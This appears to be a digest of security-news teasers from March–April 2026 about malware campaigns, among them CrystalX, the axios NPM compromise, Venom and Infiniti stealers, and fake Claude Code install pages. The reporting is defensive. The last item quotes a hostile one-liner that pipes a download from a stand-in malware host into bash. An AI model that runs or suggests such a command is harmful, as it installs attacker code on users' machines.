- A laughing RAT: CrystalX combines spyware, stealer, and prankware features
April 1, 2026
In March 2026, Kaspersky researchers discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught the researchers attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, ...
- North Korea-Nexus Threat Actor Compromises Widely Used Axios NPM Package in Supply Chain Attack
March 31, 2026
Google Threat Intelligence Group (GTIG) is tracking an active software supply chain attack targeting the popular Node Package Manager (NPM) package “axios.” Between March 31, 2026, 00:21 and 03:20 UTC, an attacker introduced a malicious dependency named “plain-crypto-js” into axios NPM releases versions 1.14.1 and 0.30.4. Axios is the most popular JavaScript library used to simplify ...
- Bogus Avast website fakes virus scan, installs Venom Stealer instead
March 27, 2026
A fake website impersonating Avast antivirus is tricking people into infecting their own computers. The site looks legitimate, runs what appears to be a virus scan, and claims your system is full of threats. But the results are fake: when you’re prompted to “fix” the problem, the download you’re given is actually Venom Stealer—a type of ...
- Infiniti Stealer: A new macOS infostealer using ClickFix and Python/Nuitka
March 26, 2026
A previously undocumented macOS infostealer has surfaced during our routine threat hunting. Malwarebytes Labs researchers initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks ...
- Government of Iran Cyber Actors Deploy Telegram C2 to Push Malware to Identified Targets
March 20, 2026
The Federal Bureau of Investigation (FBI) is releasing this FLASH to disseminate information on malicious cyber activity conducted by actors on behalf of the Government of Iran Ministry of Intelligence and Security (MOIS). Specifically, MOIS cyber actors are responsible for using Telegram as a command-and-control (C2) infrastructure to push malware targeting Iranian dissidents, journalists opposed to ...
- Unpacking a new Horabot campaign in Mexico
March 18, 2026
In this instalment of Kaspersky SOC Files series, Kaspersky researchers will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain. Although previous research ...
- Russian hackers target HR departments with vicious new ‘BlackSanta’ malware
March 11, 2026
Russian hackers have been targeting Human Resources (HR) departments at various organizations around the world with a never-before seen piece of malware called BlackSanta. The campaign was spotted by cybersecurity researchers Aryaka, who said the attacks have been going on for at least a year, and include a rather sophisticated infection chain. It most likely starts ...
- BeatBanker: A dual‑mode Android Trojan
March 10, 2026
Recently, Kaspersky researchers uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other ...
- US military contractor likely built iPhone hacking tools used by Russian spies in Ukraine
March 10, 2026
A mass hacking campaign targeting iPhone users in Ukraine and China used tools that were likely designed by U.S. military contractor L3Harris, TechCrunch has learned. The tools, which were intended for Western spies, wound up in the hands of various hacking groups, including Russian government spooks and Chinese cybercriminals. Last week, Google revealed that over the ...
- Fake Claude Code install pages hit Windows and Mac users with infostealers
March 9, 2026
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments. Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the ...